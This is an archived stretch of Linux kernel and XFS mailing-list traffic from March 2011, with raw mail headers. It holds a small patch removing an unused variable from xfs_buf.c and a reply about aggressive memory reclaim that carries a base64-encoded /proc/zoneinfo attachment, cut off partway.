QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59271 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Content-Transfer-Encoding: quoted-printable X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > Recently, We had a similar issue. > http://www.spinics.net/lists/linux-mm/msg12243.html > But it seems to not merge. I don't know why since I didn't follow up th= e thread. > Maybe Cced guys can help you. >=20 > Is it a sudden big cache drop at the moment or accumulated small cache > drop for long time? > What's your zones' size? >=20 > Please attach the result of cat /proc/zoneinfo for others. If my remember is correct, 2.6.38 is included Mel's anti agressive=20 reclaim patch. And original report seems to be using 2.6.37.x.=20 John, can you try 2.6.38? From dave@fromorbit.com Tue Mar 29 02:05:57 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2T75vTk213023 for ; Tue, 29 Mar 2011 02:05:57 -0500 X-ASG-Debug-ID: 1301382545-3a6301db0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id C2C7D387485 for ; Tue, 29 Mar 2011 00:09:06 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id JjZf4URKJMDsXfAV for ; Tue, 29 Mar 2011 00:09:06 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AiIIAFGDkU15LK5JTmdsb2JhbACYTox2CwEBGwUDIyXDW4VqBJMA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 29 Mar 2011 17:39:04 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1Q4T31-0003Kc-S3 for xfs@oss.sgi.com; Tue, 29 Mar 2011 18:09:03 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1Q4T3I-0008N4-2n for xfs@oss.sgi.com; Tue, 29 Mar 2011 18:09:20 +1100 From: Dave Chinner To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH] xfs: fix unreferenced var error in xfs_buf.c Subject: [PATCH] xfs: fix unreferenced var error in xfs_buf.c Date: Tue, 29 Mar 2011 18:09:20 +1100 Message-Id: <1301382560-32150-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1301382547 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0209 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59287 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner Signed-off-by: Dave Chinner --- fs/xfs/linux-2.6/xfs_buf.c | 2 -- 1 files changed, 0 insertions(+), 2 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c index 596bb2c..d917146 100644 --- a/fs/xfs/linux-2.6/xfs_buf.c +++ b/fs/xfs/linux-2.6/xfs_buf.c @@ -657,8 +657,6 @@ xfs_buf_readahead( xfs_off_t ioff, size_t isize) { - struct backing_dev_info *bdi; - if (bdi_read_congested(target->bt_bdi)) return; -- 1.7.2.3 From johnlepikhin@gmail.com Tue Mar 29 02:19:50 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.5 required=5.0 tests=BAYES_05,FREEMAIL_FROM, T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2T7Jnd0213685 for ; Tue, 29 Mar 2011 02:19:50 -0500 X-ASG-Debug-ID: 1301383378-529b01170000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-ww0-f51.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 045C538759A for ; Tue, 29 Mar 2011 00:22:58 -0700 (PDT) Received: from mail-ww0-f51.google.com (mail-ww0-f51.google.com [74.125.82.51]) by cuda.sgi.com with ESMTP id SMDvz5nASodH03PE for ; Tue, 29 Mar 2011 00:22:58 -0700 (PDT) Received: by wwf26 with SMTP id 26so3193354wwf.32 for ; Tue, 29 Mar 2011 00:22:58 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=SHUpftxP4QTnlnWJebEn5HZFnxRekCilz9cqfGO6Qwg=; b=NUQbG5L0POcU+evzz1DPUNxUnZpbuDm3FL7gUdncHeZA1uCeZlmQwNB4EgZuuN8fIR f8RABNF0YxhsPS3d5tuIEu+OI5H1/IeKDnSx/ABy+WpZg0/rJXEGANCIIsNXdaPsMxzp 7ccukdSrYsGCnRVxkSx8skSC3Mt5QdHtfVGWE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=NjH8SFUV3Sgd0o6xuiMsn3wL8f5oA9tQCXdIcUgc4i8+x+UmgM32rsg4em8mLwN8Q1 JbKmcVnmqna3Coi9tB9x3hagWe7WuTUYjAFIqQMHxbxDvP86ePHc66tuj3XHsYSwxY3o CkuM2sMSw8+whiqc7k0Ycp4e+qlV9zCQS5tL0= MIME-Version: 1.0 Received: by 10.216.141.94 with SMTP id f72mr4734489wej.38.1301383378041; Tue, 29 Mar 2011 00:22:58 -0700 (PDT) Received: by 10.216.254.163 with HTTP; Tue, 29 Mar 2011 00:22:57 -0700 (PDT) In-Reply-To: References: <20110328215344.GC3008@dastard> Date: Tue, 29 Mar 2011 11:22:57 +0400 Message-ID: X-ASG-Orig-Subj: Re: Very aggressive memory reclaim Subject: Re: Very aggressive memory reclaim From: John Lepikhin To: Minchan Kim Cc: Dave Chinner , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, linux-mm@kvack.org Content-Type: multipart/mixed; boundary=0016e6de1501f6fc6c049f99edb8 X-Barracuda-Connect: mail-ww0-f51.google.com[74.125.82.51] X-Barracuda-Start-Time: 1301383380 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0213 1.0000 -1.8826 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.87 X-Barracuda-Spam-Status: No, SCORE=-1.87 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59289 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean --0016e6de1501f6fc6c049f99edb8 Content-Type: text/plain; charset=ISO-8859-1 2011/3/29 Minchan Kim : > Please attach the result of cat /proc/zoneinfo for others. See attachment. Right now I have no zoneinfo for crisis time, but I can catch it if required. --0016e6de1501f6fc6c049f99edb8 Content-Type: application/octet-stream; name=zoneinfo Content-Disposition: attachment; filename=zoneinfo Content-Transfer-Encoding: base64 X-Attachment-Id: f_gluhxr3d0 Tm9kZSAwLCB6b25lICAgICAgRE1BCiAgcGFnZXMgZnJlZSAgICAgMzk2OAogICAgICAgIG1pbiAg ICAgIDAKICAgICAgICBsb3cgICAgICAwCiAgICAgICAgaGlnaCAgICAgMAogICAgICAgIHNjYW5u ZWQgIDAKICAgICAgICBzcGFubmVkICA0MDgwCiAgICAgICAgcHJlc2VudCAgMzkyMAogICAgbnJf ZnJlZV9wYWdlcyAzOTY4CiAgICBucl9pbmFjdGl2ZV9hbm9uIDAKICAgIG5yX2FjdGl2ZV9hbm9u IDAKICAgIG5yX2luYWN0aXZlX2ZpbGUgMAogICAgbnJfYWN0aXZlX2ZpbGUgMAogICAgbnJfdW5l dmljdGFibGUgMAogICAgbnJfbWxvY2sgICAgIDAKICAgIG5yX2Fub25fcGFnZXMgMAogICAgbnJf bWFwcGVkICAgIDAKICAgIG5yX2ZpbGVfcGFnZXMgMAogICAgbnJfZGlydHkgICAgIDAKICAgIG5y X3dyaXRlYmFjayAwCiAgICBucl9zbGFiX3JlY2xhaW1hYmxlIDAKICAgIG5yX3NsYWJfdW5yZWNs YWltYWJsZSAwCiAgICBucl9wYWdlX3RhYmxlX3BhZ2VzIDAKICAgIG5yX2tlcm5lbF9zdGFjayAw CiAgICBucl91bnN0YWJsZSAgMAogICAgbnJfYm91bmNlICAgIDAKICAgIG5yX3Ztc2Nhbl93cml0 ZSAwCiAgICBucl93cml0ZWJhY2tfdGVtcCAwCiAgICBucl9pc29sYXRlZF9hbm9uIDAKICAgIG5y X2lzb2xhdGVkX2ZpbGUgMAogICAgbnJfc2htZW0gICAgIDAKICAgIG5yX2RpcnRpZWQgICAwCiAg ICBucl93cml0dGVuICAgMAogICAgbnVtYV9oaXQgICAgIDAKICAgIG51bWFfbWlzcyAgICAwCiAg ICBudW1hX2ZvcmVpZ24gMAogICAgbnVtYV9pbnRlcmxlYXZlIDAKICAgIG51bWFfbG9jYWwgICAw CiAgICBudW1hX290aGVyICAgMAogICAgICAgIHByb3RlY3Rpb246ICgwLCAyMTczLCA0ODM4MCwg NDgzODApCiAgcGFnZXNldHMKICAgIGNwdTogMAogICAgICAgICAgICAgIGNvdW50OiAwCiAgICAg ICAgICAgICAgaGlnaDogIDAKICAgICAgICAgICAgICBiYXRjaDogMQogIHZtIHN0YXRzIHRocmVz aG9sZDogMTAKICAgIGNwdTogMQogICAgICAgICAgICAgIGNvdW50OiAwCiAgICAgICAgICAgICAg aGlnaDogIDAKICAgICAgICAgICAgICBiYXRjaDogMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAK ICAgIGNwdTogMgogICAgICAgICAgICAgIGNvdW50OiAwCiAgICAgICAgICAgICAgaGlnaDogIDAK ICAgICAgICAgICAgICBiYXRjaDogMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAKICAgIGNwdTog MwogICAgICAgICAgICAgIGNvdW50OiAwCiAgICAgICAgICAgICAgaGlnaDogIDAKICAgICAgICAg ICAgICBiYXRjaDogMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAKICAgIGNwdTogNAogICAgICAg ICAgICAgIGNvdW50OiAwCiAgICAgICAgICAgICAgaGlnaDogIDAKICAgICAgICAgICAgICBiYXRj aDogMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAKICAgIGNwdTogNQogICAgICAgICAgICAgIGNv dW50OiAwCiAgICAgICAgICAgICAgaGlnaDogIDAKICAgICAgICAgICAgICBiYXRjaDogMQogIHZt IHN0YXRzIHRocmVzaG9sZDogMTAKICAgIGNwdTogNgogICAgICAgICAgICAgIGNvdW50OiAwCiAg ICAgICAgICAgICAgaGlnaDogIDAKICAgICAgICAgICAgICBiYXRjaDogMQogIHZtIHN0YXRzIHRo cmVzaG9sZDogMTAKICAgIGNwdTogNwogICAgICAgICAgICAgIGNvdW50OiAwCiAgICAgICAgICAg ICAgaGlnaDogIDAKICAgICAgICAgICAgICBiYXRjaDogMQogIHZtIHN0YXRzIHRocmVzaG9sZDog MTAKICAgIGNwdTogOAogICAgICAgICAgICAgIGNvdW50OiAwCiAgICAgICAgICAgICAgaGlnaDog IDAKICAgICAgICAgICAgICBiYXRjaDogMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAKICAgIGNw dTogOQogICAgICAgICAgICAgIGNvdW50OiAwCiAgICAgICAgICAgICAgaGlnaDogIDAKICAgICAg ICAgICAgICBiYXRjaDogMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAKICAgIGNwdTogMTAKICAg ICAgICAgICAgICBjb3VudDogMAogICAgICAgICAgICAgIGhpZ2g6ICAwCiAgICAgICAgICAgICAg YmF0Y2g6IDEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDEwCiAgICBjcHU6IDExCiAgICAgICAgICAg ICAgY291bnQ6IDAKICAgICAgICAgICAgICBoaWdoOiAgMAogICAgICAgICAgICAgIGJhdGNoOiAx CiAgdm0gc3RhdHMgdGhyZXNob2xkOiAxMAogICAgY3B1OiAxMgogICAgICAgICAgICAgIGNvdW50 OiAwCiAgICAgICAgICAgICAgaGlnaDogIDAKICAgICAgICAgICAgICBiYXRjaDogMQogIHZtIHN0 YXRzIHRocmVzaG9sZDogMTAKICAgIGNwdTogMTMKICAgICAgICAgICAgICBjb3VudDogMAogICAg ICAgICAgICAgIGhpZ2g6ICAwCiAgICAgICAgICAgICAgYmF0Y2g6IDEKICB2bSBzdGF0cyB0aHJl c2hvbGQ6IDEwCiAgICBjcHU6IDE0CiAgICAgICAgICAgICAgY291bnQ6IDAKICAgICAgICAgICAg ICBoaWdoOiAgMAogICAgICAgICAgICAgIGJhdGNoOiAxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiAx MAogICAgY3B1OiAxNQogICAgICAgICAgICAgIGNvdW50OiAwCiAgICAgICAgICAgICAgaGlnaDog IDAKICAgICAgICAgICAgICBiYXRjaDogMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAKICAgIGNw dTogMTYKICAgICAgICAgICAgICBjb3VudDogMAogICAgICAgICAgICAgIGhpZ2g6ICAwCiAgICAg ICAgICAgICAgYmF0Y2g6IDEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDEwCiAgICBjcHU6IDE3CiAg ICAgICAgICAgICAgY291bnQ6IDAKICAgICAgICAgICAgICBoaWdoOiAgMAogICAgICAgICAgICAg IGJhdGNoOiAxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiAxMAogICAgY3B1OiAxOAogICAgICAgICAg ICAgIGNvdW50OiAwCiAgICAgICAgICAgICAgaGlnaDogIDAKICAgICAgICAgICAgICBiYXRjaDog MQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAKICAgIGNwdTogMTkKICAgICAgICAgICAgICBjb3Vu dDogMAogICAgICAgICAgICAgIGhpZ2g6ICAwCiAgICAgICAgICAgICAgYmF0Y2g6IDEKICB2bSBz dGF0cyB0aHJlc2hvbGQ6IDEwCiAgICBjcHU6IDIwCiAgICAgICAgICAgICAgY291bnQ6IDAKICAg ICAgICAgICAgICBoaWdoOiAgMAogICAgICAgICAgICAgIGJhdGNoOiAxCiAgdm0gc3RhdHMgdGhy ZXNob2xkOiAxMAogICAgY3B1OiAyMQogICAgICAgICAgICAgIGNvdW50OiAwCiAgICAgICAgICAg ICAgaGlnaDogIDAKICAgICAgICAgICAgICBiYXRjaDogMQogIHZtIHN0YXRzIHRocmVzaG9sZDog MTAKICAgIGNwdTogMjIKICAgICAgICAgICAgICBjb3VudDogMAogICAgICAgICAgICAgIGhpZ2g6 ICAwCiAgICAgICAgICAgICAgYmF0Y2g6IDEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDEwCiAgICBj cHU6IDIzCiAgICAgICAgICAgICAgY291bnQ6IDAKICAgICAgICAgICAgICBoaWdoOiAgMAogICAg ICAgICAgICAgIGJhdGNoOiAxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiAxMAogIGFsbF91bnJlY2xh aW1hYmxlOiAwCiAgc3RhcnRfcGZuOiAgICAgICAgIDE2CiAgaW5hY3RpdmVfcmF0aW86ICAgIDEK Tm9kZSAwLCB6b25lICAgIERNQTMyCiAgcGFnZXMgZnJlZSAgICAgMzY0NzYxCiAgICAgICAgbWlu ICAgICAgMTYKICAgICAgICBsb3cgICAgICAyMAogICAgICAgIGhpZ2ggICAgIDI0CiAgICAgICAg c2Nhbm5lZCAgMAogICAgICAgIHNwYW5uZWQgIDEwNDQ0ODAKICAgICAgICBwcmVzZW50ICA1NTY0 MDkKICAgIG5yX2ZyZWVfcGFnZXMgMzY0NzYxCiAgICBucl9pbmFjdGl2ZV9hbm9uIDIxOTkwCiAg ICBucl9hY3RpdmVfYW5vbiA3NjYzCiAgICBucl9pbmFjdGl2ZV9maWxlIDczCiAgICBucl9hY3Rp dmVfZmlsZSAyMzAwCiAgICBucl91bmV2aWN0YWJsZSAwCiAgICBucl9tbG9jayAgICAgMAogICAg bnJfYW5vbl9wYWdlcyAyODkzMwogICAgbnJfbWFwcGVkICAgIDQxOQogICAgbnJfZmlsZV9wYWdl cyAzMDkzCiAgICBucl9kaXJ0eSAgICAgMgogICAgbnJfd3JpdGViYWNrIDAKICAgIG5yX3NsYWJf cmVjbGFpbWFibGUgMTE0MjYwCiAgICBucl9zbGFiX3VucmVjbGFpbWFibGUgMTc0ODAKICAgIG5y X3BhZ2VfdGFibGVfcGFnZXMgNTIKICAgIG5yX2tlcm5lbF9zdGFjayA0CiAgICBucl91bnN0YWJs ZSAgMAogICAgbnJfYm91bmNlICAgIDAKICAgIG5yX3Ztc2Nhbl93cml0ZSAxMzk0MDQ1CiAgICBu cl93cml0ZWJhY2tfdGVtcCAwCiAgICBucl9pc29sYXRlZF9hbm9uIDAKICAgIG5yX2lzb2xhdGVk X2ZpbGUgMAogICAgbnJfc2htZW0gICAgIDcyMAogICAgbnJfZGlydGllZCAgIDI3MTAzNzMKICAg IG5yX3dyaXR0ZW4gICAzODkyNDk1CiAgICBudW1hX2hpdCAgICAgNDU3OTIzNTU5CiAgICBudW1h X21pc3MgICAgMTQyMDA5ODMxCiAgICBudW1hX2ZvcmVpZ24gMAogICAgbnVtYV9pbnRlcmxlYXZl IDAKICAgIG51bWFfbG9jYWwgICA0NTc1ODYxNTcKICAgIG51bWFfb3RoZXIgICAxNDIzNDcyMzMK ICAgICAgICBwcm90ZWN0aW9uOiAoMCwgMCwgNDYyMDcsIDQ2MjA3KQogIHBhZ2VzZXRzCiAgICBj cHU6IDAKICAgICAgICAgICAgICBjb3VudDogMAogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAg ICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDYwCiAgICBjcHU6IDEK ICAgICAgICAgICAgICBjb3VudDogMAogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAg ICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDYwCiAgICBjcHU6IDIKICAgICAg ICAgICAgICBjb3VudDogMAogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAgICAgICBi YXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDYwCiAgICBjcHU6IDMKICAgICAgICAgICAg ICBjb3VudDogMAogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAgICAgICBiYXRjaDog MzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDYwCiAgICBjcHU6IDQKICAgICAgICAgICAgICBjb3Vu dDogMAogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAgICAgICBiYXRjaDogMzEKICB2 bSBzdGF0cyB0aHJlc2hvbGQ6IDYwCiAgICBjcHU6IDUKICAgICAgICAgICAgICBjb3VudDogMAog ICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0 cyB0aHJlc2hvbGQ6IDYwCiAgICBjcHU6IDYKICAgICAgICAgICAgICBjb3VudDogMAogICAgICAg ICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJl c2hvbGQ6IDYwCiAgICBjcHU6IDcKICAgICAgICAgICAgICBjb3VudDogMAogICAgICAgICAgICAg IGhpZ2g6ICAxODYKICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6 IDYwCiAgICBjcHU6IDgKICAgICAgICAgICAgICBjb3VudDogMAogICAgICAgICAgICAgIGhpZ2g6 ICAxODYKICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDYwCiAg ICBjcHU6IDkKICAgICAgICAgICAgICBjb3VudDogMAogICAgICAgICAgICAgIGhpZ2g6ICAxODYK ICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDYwCiAgICBjcHU6 IDEwCiAgICAgICAgICAgICAgY291bnQ6IDAKICAgICAgICAgICAgICBoaWdoOiAgMTg2CiAgICAg ICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiA2MAogICAgY3B1OiAxMQog ICAgICAgICAgICAgIGNvdW50OiAwCiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAg ICAgIGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogNjAKICAgIGNwdTogMTIKICAgICAg ICAgICAgICBjb3VudDogMAogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAgICAgICBi YXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDYwCiAgICBjcHU6IDEzCiAgICAgICAgICAg ICAgY291bnQ6IDAKICAgICAgICAgICAgICBoaWdoOiAgMTg2CiAgICAgICAgICAgICAgYmF0Y2g6 IDMxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiA2MAogICAgY3B1OiAxNAogICAgICAgICAgICAgIGNv dW50OiAwCiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJhdGNoOiAzMQog IHZtIHN0YXRzIHRocmVzaG9sZDogNjAKICAgIGNwdTogMTUKICAgICAgICAgICAgICBjb3VudDog MAogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBz dGF0cyB0aHJlc2hvbGQ6IDYwCiAgICBjcHU6IDE2CiAgICAgICAgICAgICAgY291bnQ6IDAKICAg ICAgICAgICAgICBoaWdoOiAgMTg2CiAgICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMg dGhyZXNob2xkOiA2MAogICAgY3B1OiAxNwogICAgICAgICAgICAgIGNvdW50OiAwCiAgICAgICAg ICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVz aG9sZDogNjAKICAgIGNwdTogMTgKICAgICAgICAgICAgICBjb3VudDogMAogICAgICAgICAgICAg IGhpZ2g6ICAxODYKICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6 IDYwCiAgICBjcHU6IDE5CiAgICAgICAgICAgICAgY291bnQ6IDAKICAgICAgICAgICAgICBoaWdo OiAgMTg2CiAgICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiA2MAog ICAgY3B1OiAyMAogICAgICAgICAgICAgIGNvdW50OiAwCiAgICAgICAgICAgICAgaGlnaDogIDE4 NgogICAgICAgICAgICAgIGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogNjAKICAgIGNw dTogMjEKICAgICAgICAgICAgICBjb3VudDogMAogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAg ICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDYwCiAgICBjcHU6IDIy CiAgICAgICAgICAgICAgY291bnQ6IDAKICAgICAgICAgICAgICBoaWdoOiAgMTg2CiAgICAgICAg ICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiA2MAogICAgY3B1OiAyMwogICAg ICAgICAgICAgIGNvdW50OiAwCiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAg IGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogNjAKICBhbGxfdW5yZWNsYWltYWJsZTog MAogIHN0YXJ0X3BmbjogICAgICAgICA0MDk2CiAgaW5hY3RpdmVfcmF0aW86ICAgIDQKTm9kZSAw LCB6b25lICAgTm9ybWFsCiAgcGFnZXMgZnJlZSAgICAgMTY0NzE4MAogICAgICAgIG1pbiAgICAg IDM1NwogICAgICAgIGxvdyAgICAgIDQ0NgogICAgICAgIGhpZ2ggICAgIDUzNQogICAgICAgIHNj YW5uZWQgIDAKICAgICAgICBzcGFubmVkICAxMTk5MzA4OAogICAgICAgIHByZXNlbnQgIDExODI5 MTIwCiAgICBucl9mcmVlX3BhZ2VzIDE2NDcxODAKICAgIG5yX2luYWN0aXZlX2Fub24gNDUwMDY5 CiAgICBucl9hY3RpdmVfYW5vbiAzNDMzNzcxCiAgICBucl9pbmFjdGl2ZV9maWxlIDI5NTU5OTEK ICAgIG5yX2FjdGl2ZV9maWxlIDIxMTkwMDAKICAgIG5yX3VuZXZpY3RhYmxlIDAKICAgIG5yX21s b2NrICAgICAwCiAgICBucl9hbm9uX3BhZ2VzIDM2Mzg2NzEKICAgIG5yX21hcHBlZCAgICAxMTU2 MzUKICAgIG5yX2ZpbGVfcGFnZXMgNTMyMDAzOQogICAgbnJfZGlydHkgICAgIDc1MTM3CiAgICBu cl93cml0ZWJhY2sgMgogICAgbnJfc2xhYl9yZWNsYWltYWJsZSA3ODYyMzEKICAgIG5yX3NsYWJf dW5yZWNsYWltYWJsZSA5Nzk2MwogICAgbnJfcGFnZV90YWJsZV9wYWdlcyA2Nzg0NQogICAgbnJf a2VybmVsX3N0YWNrIDEzNjEKICAgIG5yX3Vuc3RhYmxlICAwCiAgICBucl9ib3VuY2UgICAgMAog ICAgbnJfdm1zY2FuX3dyaXRlIDE1Mzc5OTU3CiAgICBucl93cml0ZWJhY2tfdGVtcCAwCiAgICBu cl9pc29sYXRlZF9hbm9uIDAKICAgIG5yX2lzb2xhdGVkX2ZpbGUgMAogICAgbnJfc2htZW0gICAg IDI0NTA0MQogICAgbnJfZGlydGllZCAgIDIxMTY2OTU0NQogICAgbnJfd3JpdHRlbiAgIDIwMjUy NjI4MQogICAgbnVtYV9oaXQgICAgIDQxMTg2ODIzMDg1CiAgICBudW1hX21pc3MgICAgMjM1MjQx MTM1CiAgICBudW1hX2ZvcmVpZ24gNjkwMDY2NzY1CiAgICBudW1hX2ludGVybGVhdmUgMjc2NzEK ICAgIG51bWFfbG9jYWwgICA0MTE4NjgwOTQ1MgogICAgbnVtYV9vdGhlciAgIDIzNTI1NDc2OAog ICAgICAgIHByb3RlY3Rpb246ICgwLCAwLCAwLCAwKQogIHBhZ2VzZXRzCiAgICBjcHU6IDAKICAg ICAgICAgICAgICBjb3VudDogMTUzCiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAg ICAgIGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAgICBjcHU6IDEKICAgICAg ICAgICAgICBjb3VudDogMTU2CiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAg IGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAgICBjcHU6IDIKICAgICAgICAg ICAgICBjb3VudDogMTYwCiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJh dGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAgICBjcHU6IDMKICAgICAgICAgICAg ICBjb3VudDogMTc3CiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJhdGNo OiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAgICBjcHU6IDQKICAgICAgICAgICAgICBj b3VudDogMTU3CiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJhdGNoOiAz MQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAgICBjcHU6IDUKICAgICAgICAgICAgICBjb3Vu dDogMTY1CiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJhdGNoOiAzMQog IHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAgICBjcHU6IDYKICAgICAgICAgICAgICBjb3VudDog MjYKICAgICAgICAgICAgICBoaWdoOiAgMTg2CiAgICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0g 